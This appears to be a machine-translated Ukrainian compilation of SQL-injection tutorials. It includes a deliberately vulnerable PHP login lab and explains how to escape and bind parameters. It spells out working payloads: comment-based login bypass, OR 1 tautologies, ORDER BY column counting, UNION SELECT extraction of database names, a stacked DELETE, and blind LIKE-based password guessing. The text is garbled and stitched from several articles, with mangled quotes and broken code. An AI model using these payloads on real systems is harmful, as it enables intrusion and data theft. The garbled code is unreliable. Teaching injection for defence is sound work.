Проблем, описаних у більшості попередніх прикладів, можна уникнути, використовуючи одинарні лапки у запитах. Якщо ви використовуєте addslashes() , атаки через SQL-ін'єкції, побудовані на використанні одинарних лапок, що екрануються зворотним слешем, зазнають невдачі. Але така атака може пройти, якщо просто підставити символ із кодом 0xbf27 , addslashes() перетворює його на символ із кодом 0xbf5c27 - а це цілком валідний символ одинарної лапки. Іншими словами, `뼧` пройде через addslashes() , а потім мапінг MySQL конвертує його у два символи 0xbf(¿) та 0x27(`).

"SELECT * FROM users WHERE login = ""; . addslashes($_GET["login"]) . ";"";

Цей приклад можна хакнути, передавши 뼧 or 1=1; - У полі логіна у формі. Двигун SQL згенерує кінцевий запит так:

SELECT * FROM users WHERE login = "¿" OR 1 = 1; -

І поверне першого користувача з БД.

Захист

Як же захистити програму? Є безліч способів, застосування яких не зробить додаток зовсім невразливим, але хоча б підвищить його захищеність.

Використання mysql_real_escape_string

Функція addslashes() ненадійна, оскільки не передбачає багато випадків злому. Mysql_real_escape_string не має таких проблем

Використання MySQLi

Це розширення для MySQL вміє працювати із пов'язаними параметрами:

$stmt = $db->prepare("update uets set parameter = ? where id = ?"); $stmt->bind_param("si", $name, $id); $stmt->execute();

Використання PDO

Довгий спосіб встановлення параметрів:

$dbh = новий PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // insert one row $name = "one"; $ value = 1; $stmt->execute();

Короткий спосіб:

$dbh = новий PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("UPDATE people SET name = :new_name WHERE id = :id"); $stmt->execute(array("new_name" => $name, "id" => $id));

Використання ORM

Використовуйте ORM та PDO та зв'язуйте (використовуйте bind) параметри. Уникайте SQL у коді, якщо ви бачите у коді SQL, отже, з ним щось не так.

ORM подбає про безпеку у найвужчих місцях у коді та про валідацію параметрів.

Висновки

Мета цієї серії не надати повний посібник зі злому сайтів, а забезпечити безпеку застосування та запобігання атакам з будь-якого джерела. Я постарався написати цю статтю не тільки для програмістів — вони повинні бути в курсі будь-яких погроз у коді та знати шляхи, як запобігти їм, але також і для інженерів за якістю — тому, що їхня робота полягає в тому, щоб відстежити та повідомити такі моменти .

Суть SQL-ін'єкцій

Напевно, вже чули жарт із Інтернету: « Чому у всіх уроках малювання одне й те саме: Наприклад, урок з малювання сови. Спочатку півгодини довго в деталях малюємо око сови. А потім - раз - за п'ять хвилин - малюємо частину сови, що залишилася.».

Ось навіть картинка з цього приводу є:

За SQL-інжектами матеріалу море: статті, книги, відеокурси (платні та безкоштовні). При цьому не багато хто з них додає розуміння з цього питання. Особливо якщо ви новачок. Я добре пам'ятаю свої відчуття: ось він гурток, ось він залишок сови.

Мета цієї замітки - натягнути око на сову дати нормальне пояснення, що ж таке SQL-ін'єкції, в чому полягає їхня суть, наскільки і чому вони небезпечні.

Для дослідів, у нас буде дуже простий і вразливий до SQL-ін'єкції скрипт:

Для доступу до Бобруйскої районної бібліотеки введіть Ваші облікові дані:

Введіть ваше ім'я

Введіть Ваш пароль


query("SET NAMES UTF8"); $mysqli->query("SET CHARACTER SET UTF8"); $mysqli->query("SET character_set_client = UTF8"); $mysqli->query("SET character_set_connection = UTF8"); $mysqli->query("SET character_set_results = UTF8"); ) $name = filter_input(INPUT_GET, "name"); $password = filter_input(INPUT_GET, "password"); if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = "$name" AND password = $password")) ( while ($obj = $result->fetch_object()) ( echo "

Ваше ім'я:$obj->name

Ваш статус:$obj->status

Доступні для Вас книги:$obj->books


"; ) ) else ( printf("Помилка: %sn", $mysqli->error); ) $mysqli->close(); ?>

Ви набагато більше зрозумієте, якщо все робитимете разом зі мною. Тому ось. У ньому два файли: index.phpі db_library.sql. Файл index.php розмістіть у будь-яке місце на сервері – це і є наш вразливий скрипт. А файл db_library.sql потрібно імпортувати, наприклад, за допомогою phpMyAdmin.

У файлі index.php як ім'я користувача бази даних заданий root, а пароль - порожній. Ви можете вписати свої дані, відредагувавши рядок:

$mysqli = new mysqli("localhost", "root", "", "db_library");

За легендою, це форма входу до он-лайн версії Бобруйскої районної бібліотеки. Нам уже дали облікові дані: ім'я користувача - Demo, пароль - 111.

Давайте введемо їх і подивимося:

Наші облікові дані прийняті, на екрани виведено наше ім'я, статус та доступні для нас книги. Ви можете спробувати, з будь-якими іншими даними (якщо змінити ім'я або пароль) ми не зможемо увійти і подивитися доступні для читання книги. Також ми не можемо дізнатися, які книги доступні для інших, оскільки ми не знаємо їхнього імені та пароля.

Підглянемо у вихідний код, щоб зрозуміти, як стався запит до бази даних:
Слово SELECT SQL-запит показує, які дані потрібно отримати. Наприклад, можна було б вказати SELECT name або SELECT name, password. Тоді в першому випадку з таблиці було б отримано тільки ім'я, а в другому - тільки ім'я і пароль. Зірочка каже, що потрібно отримати всі значення. Тобто. SELECT * – це означає отримати всі значення.

FROMкаже, звідки їх потрібно отримати. Після FROM слідує ім'я таблиці, тобто запис FROM `members` каже, отримати з таблиці `members`.

Далі WHEREЯкщо ви вивчали будь-які мови програмування, то це слово найбільше нагадує «Якщо». А далі йдуть умови, ці умови можуть бути дійсними (1) або хибними (0). У нашому випадку

(name = '$name') AND (password = '$password')

означає, що умова буде істинною, якщо передана змінна $name дорівнюватиме значення поля name в таблиці і передана змінна '$password дорівнюватиме значення поля password в таблиці. Якщо хоча б одна умова не виконується (невірне ім'я користувача або пароль), то з таблиці нічого не буде взято., тобто вираз SELECT * FROM `members` : у таблиці `members` взяти значення всіх полів, якщо для них виконується умова - збігаються передане ім'я користувача та пароль з тими, що зустрічаються в таблиці.

Це зрозуміло. Давайте тепер, наприклад, з ім'ям користувача підставимо одиночну лапку:

Адресний рядок:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password=111

Жодних даних не отримано, замість них ми бачимо помилку:
При введенні вірних даних наш запит виглядав так:
При додаванні лапки наш запит перетворюється на наступне:
Я поставив додаткові прогалини для наочності, тобто у нас виходить запит
до речі, запит вірний із синтаксису. І відразу після нього, без будь-яких роздільників йде продовження запиту:

"AND password ="111"

Воно-то все і ламає, оскільки кількість лапок, що відкривають і закривають, не дорівнює. Можна, наприклад, підставити ще одну лапку:
Адресний рядок:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

Помилка зникла, але свідомості це на запит не додало. Нам заважає безглуздий хвіст запиту. Як би нам його позбутися?

Відповідь є – це коментарі.

Коментарі в MySQL можна задати трьома способами:

  1. # (решітка - працює до кінця рядка)
  2. - (Два тире - працюють до кінця рядка, потрібен символ пробілу після двох тире)
  3. /* це коментар */ група з чотирьох символів – все, що всередині – це коментар, все, що до або після цієї групи символів, не вважається коментарем.
Давайте до нашого запиту з однією лапкою, після цієї лапки поставимо знак коментаря, щоб відкинути хвостик, і знак +, який позначає пробіл, щоб запит вийшов таким:
Адресний рядок:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo'-+&password=111

Помилка не тільки зникла, а й виведено коректні дані для користувача Demo. Оскільки тепер наш запит набув вигляду
адже хвостик -+ ‘AND password =’111’перетворився на коментар і більше на запит не впливає.

Подивіться ще раз уважно на новий запит:
І в ньому більше не перевіряється пароль! Тобто. знаючи імена легітимних користувачів, але не знаючи їхніх паролів, ми можемо переглядати їхні особисті дані. Тобто. ми вже почали експлуатувати SQL-ін'єкцію.

На жаль, я не знаю жодного легітимного імені, і мені потрібно придумати щось інше.

Подивимося уважно на цю частину запиту:
Пам'ятаєте про AND, що використовується у першому запиті? Воно означає логічну операцію «І». Нагадаю, логічна операція «І» видає «істина» (1) тільки якщо обидва вирази є істиною. Але логічний оператор «АБО» видає «істина» (1) навіть якщо хоча б один із виразів є істиною. Тобто. вираз
завжди буде істиною, завжди повертатиме 1. Оскільки одне з двох порівнюваних виразів завжди повертає 1.

Тобто. нам потрібно скласти вираз, який випрасуватиме так:
Адресний рядок:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo' OR 1 -+ &password=111

Результат:

Результат чудовий! Ми отримали список усіх записів у таблиці.

ORDER BY та UNION - головні друзі SQL-ін'єкцій

Ми вже зараз отримали дані, які були недоступні тим, хто не має валідних імені користувача та пароля. Чи можна ще щось отримати? Так, можна отримати повний дамп цієї таблиці (нагадаю, у нас, як і раніше, немає паролів. Більш того, ми можемо отримати всі дані з усіх баз на цьому сервері через одну крихітну дірочку!

UNIONдозволяє об'єднувати SQL запити. У реальному житті у мене завдання прості, тому і прості запити до баз даних та можливостей UNIONя не користуюсь. Але для SQL-ін'єкцій цінніше цього слова немає.

UNIONдозволяє досить гнучко поєднувати SQL-запити з SELECT, у тому числі від різних баз даних. Але є важлива вимога до синтаксису: кількість стовпців у першому SELECT має дорівнювати кількості стовпців у другому SELECT.

ORDER BYзадає сортування отриманих із таблиці даних. Можна задавати сортування на ім'я стовпця, а можна за його номером. Причому, якщо стовпця з таким номером немає, буде показано помилку:

Адресний рядок:

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 1 -+ &password=111

Запит має такий вигляд:
Ми замінили ім'я користувача на -1, щоб не виводилися жодні дані.

Помилки немає, також немає помилки і при запиті
А ось запит
йому відповідає адресний рядок

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 6 -+ &password=111

Видав помилку

Це означає, що з таблиці вибираються дані з п'яти колонок.

Конструюємо наш запит з UNION:

Як я сказав, кількість полів має бути в обох SELECT однакова, а ось що в цих полях – не дуже важливо. Можна, наприклад, прописати просто цифри – і саме їх і буде виведено. Можна прописати NULL – тоді замість поля нічого не буде виведено.
Адресний рядок:

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 -+ &password=111

Інший спосіб знаходження кількості стовпців – за допомогою того ж UNION. Лісеня додаємо кількість стовпців:
Всі вони викликатимуть одну і ту ж помилку:

Робіть так, поки не зникне повідомлення про помилку.

Зверніть увагу, що вміст деяких полів UNION SELECT 1, 2, 3, 4, 5 виводиться на екран. Замість цифр можна встановити функції.

Що писати в SELECT

Є деякі функції, які можна писати безпосередньо в UNION:

  • DATABASE()- показати ім'я поточної бази даних
  • CURRENT_USER()- показує ім'я користувача та ім'я хоста
  • @@datadir- виводить абсолютний шлях до бази даних
  • USER()- Ім'я користувача
  • VERSION()- версія бази даних
У прикладі виводяться поля 2, 4 і 5. Тобто. ми можемо використовувати будь-яке з цих полів.

Використовуємо DATABASE() в UNION SELECT

Адреса:

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() -+ &password=111

Результат:

Отримання імен таблиці, полів та дамп бази даних

У базі даних information_schemaє таблиця, яка називається tables. У цій таблиці міститься список усіх таблиць, які є у всіх базах даних цього сервера. Ми можемо відібрати наші таблиці, шукаючи у полі table_schemaназва нашої бази даних – 'db_library' (ім'я ми дізналися за допомогою DATABASE()).

Це називається повна техніка UNION. Матеріалу по ній достатньо в Інтернеті. На моєму MySQL сервері повна техніка UNION не працює. У мене з'являється помилка
Не працює не через кривизну рук, оскільки у sqlmap також ця техніка не приносить результатів:

Одного разу з'єднується з повним UNION technique (можна бути обмеження на відновленому номері даних). Falling back to partial UNION technique

Можливо це пов'язано з версією MySQL 5.6. Т.к. навести практичних прикладів я не можу, а переписувати чужі непрацюючі команди мені не цікаво – зараз і без мене в Інтернеті розвелося «великих теоретиків» скільки завгодно, то вирішив одразу перейти до розгляду часткової техніки UNION. Але це не найпростіша техніка, та й стаття вже вийшла досить великою.

У наступній частині статті ми вивчимо часткову техніку UNION, за її допомогою ми отримаємо всі дані на сервері: імена баз даних, імена їх таблиць та полів у цих таблицях, а також їх вміст. Поки чекаєте на появу другої частини - тренуйтеся, почитайте про SQL-ін'єкції та техніку UNION, додатково рекомендуються до ознайомлення наступні статті:

П.С. ах так, забув про LIMIT. Теж наступного разу розповім про роль LIMIT у SQL-ін'єкціях.

SQL-ін'єкції – вбудовування шкідливого коду у запити до бази даних – найнебезпечніший вид атак. З використанням SQL-ін'єкцій зловмисник може отримати закриту інформацію з бази даних, а й, за певних умов, внести туди зміни.

Вразливість по відношенню до SQL-ін'єкцій виникає через те, що інформація користувача потрапляє в запит до бази даних без належної обробки: щоб скрипт не був вразливий, потрібно переконатися, що всі дані користувача потрапляють у всі запити до бази даних в екранованому вигляді. Вимога загальності і є наріжним каменем: допущене в одному скрипті порушення робить уразливою всю систему.

Приклад вразливості

Припустимо, є скрипт, що відображає список користувачів з цього міста, що приймає як GET-параметр id міста. Звернення до скрипту відбуватиметься за допомогою HTTP за адресою /users.php?cityid=20

У скрипті вище розробник вставляє GET-параметр SQL-запит, маючи на увазі, що в GET-параметрі завжди буде число. Зловмисник може передати як параметр рядок і цим пошкодити запит. Наприклад, він звернеться до скрипту як /users.php?cityid=20; DELETE * FROM users
SQL-запит вийде таким:

Запит виконається, і скрипт видасть не лише користувачів із заданого міста, а й список усіх користувачів, у яких замість реального імені відобразиться пароль.

Як захиститись?

Давайте покладемо інформацію користувача в одинарні лапки. Чи допоможе це?

З прикладу вище видно, що укласти одиночні лапки недостатньо. Необхідно також екранувати всі лапки, що містяться у рядку. Для цього в PHP передбачена функція mysql_real_escape_string(), яка додає зворотний сліш перед кожною лапкою, зворотною лапкою і деякими іншими спецсимволами. Розглянемо код:

Отже, щоб захиститися від SQL-ін'єкцій, всі зовнішні параметри, які можуть містити текст, повинні бути перед включенням до SQL-запиту оброблені за допомогою mysql_real_escape_string() і укладені в поодинокі лапки.

Якщо відомо, що параметр повинен набувати числового значення числовим, його можна привести до числового вигляду явно за допомогою функції intval()або floatval(). У цьому прикладі ми могли б використовувати:

$sql = "SELECT username, realname
FROM users
WHERE cityid=""
.intval ( $_GET [ "cityid" ] ) .""" ;

Відмінності mysql_real_escape_string() та mysql_escape_string()

mysql_real_escape_string() є вдосконаленою версією функції mysql_escape_string(), що широко застосовується для формування безпечних запитів до БД MySQL. Відмінність цих двох функцій полягає в тому, що mysql_real_escape_string() правильно працює з багатобайтовими кодуваннями.

Припустимо, в даних є символ (скажімо, в UTF-8), код якого складається з двох байт - шістнадцяткових 27 і 2B (десяткові 39 і 43 відповідно). mysql_escape_string() сприймає кожен байт даних, що передаються їй, як окремий символ (точніше, як код окремого символу) і вирішить, що послідовність байт 27 і 2B — це два різні символи: одинарна лапка (") і плюс (+). Оскільки функція сприймає лапку як спеціальний символ, перед байтом з кодом 27, який насправді є частиною якогось нешкідливого символу, буде доданий слеш (\).

Варто зазначити, що mysql_real_escape_string() працює правильно у всіх випадках і може повністю замінити mysql_escape_string().

mysql_real_escape_string() доступна у PHP з версії 4.3.0.

Додаткові приклади

Ми розглянули найпростіший приклад, але на практиці вразливий запит може бути більш складним і не відображати результати користувача. Далі розглянемо приклади SQL-ін'єкцій у деяких складніших випадках, не претендуючи на повноту.

Ін'єкція у складних запитах

У найпростішому прикладі була можливість вбудувати код у кінець SQL-запиту. Насправді наприкінці SQL-запроса може бути додаткові умови, оператори сортування, групування та інші SQL-конструкции. У кожному конкретному випадку зловмисник намагатиметься вбудувати шкідливий шматок таким чином, щоб запит загалом залишився синтаксично коректним, але виконував іншу функцію. Тут ми розглянемо найпростіший приклад вразливого запиту з додатковою умовою.

В результаті умова age<35 нічого очікувати проводити вибірку, т.к. оператор OR має нижчий пріоритет, ніж AND, і WHERE із наведеного вище запиту по-іншому можна записати у вигляді WHERE (cityid="20" AND 1 ) OR ("1" AND age<"35" ) (нагадаємо, що вираз WHERE 1 істинно завжди). В результаті під умову підійдуть і ті рядки, у яких cityid = "20", і ті, у яких age<35, причем наличие последних не обязательно.

У разі складних запитів успішні SQL-ієкції вимагають деякої винахідливості, але очікується, що у зловмисників вона є.

Результати запиту не відображаються користувачеві

Може виявитися, що вразливий запит, результати якого не відображаються користувачеві. Це може бути, наприклад, допоміжний запит:

$sql = "SELECT count(*)
FROM users
WHERE userid=""
.$_GET [ "userid" ] .""" ;

Запит вище лише перевіряє наявність користувача з даним userid: якщо він повертає будь-яку відмінну від нуля величину — показується профіль користувача з відповідним userid, якщо ж повернутий 0 (тобто, немає користувачів, що задовольняють критерію запиту) — повідомлення "користувач не знайдений".

І тут визначення пароля (чи іншої інформації) проводиться перебором. Зломщик передає як параметр userid рядок 2" AND password LIKE "a%. Підсумковий запит:

SELECT count (*) FROM users WHERE userid="2" AND password LIKE "a%"

Зломщик отримає "користувача не знайдено", якщо пароль не починається на букву "a", або стандартну сторінку з профілем користувача, в іншому випадку. Перебором визначається перша літера пароля, потім друга і т.д.

Висновки

  • Усі запити, які використовують зовнішні дані, потрібно захистити від ін'єкцій SQL. Зовнішні дані можуть бути передані не тільки як GET-параметрів, а й методом POST, взяті з COOKIE, зі сторонніх сайтів або бази даних, в яку користувач мав можливість занести інформацію.
  • Усі числові параметри слід явно перетворювати на числовий вигляд за допомогою функцій intval()і floatval()
  • Усі строкові параметри слід екранувати за допомогою mysql_real_escape_string()і укладати в лапки.
  • Якщо побудувати SQL-ін'єкцію складно, не слід очікувати, що зловмисник не здогадається, як це зробити. Особливо це стосується двигунів, вихідний код яких є публічним.

Успіхів у побудові безпечних додатків!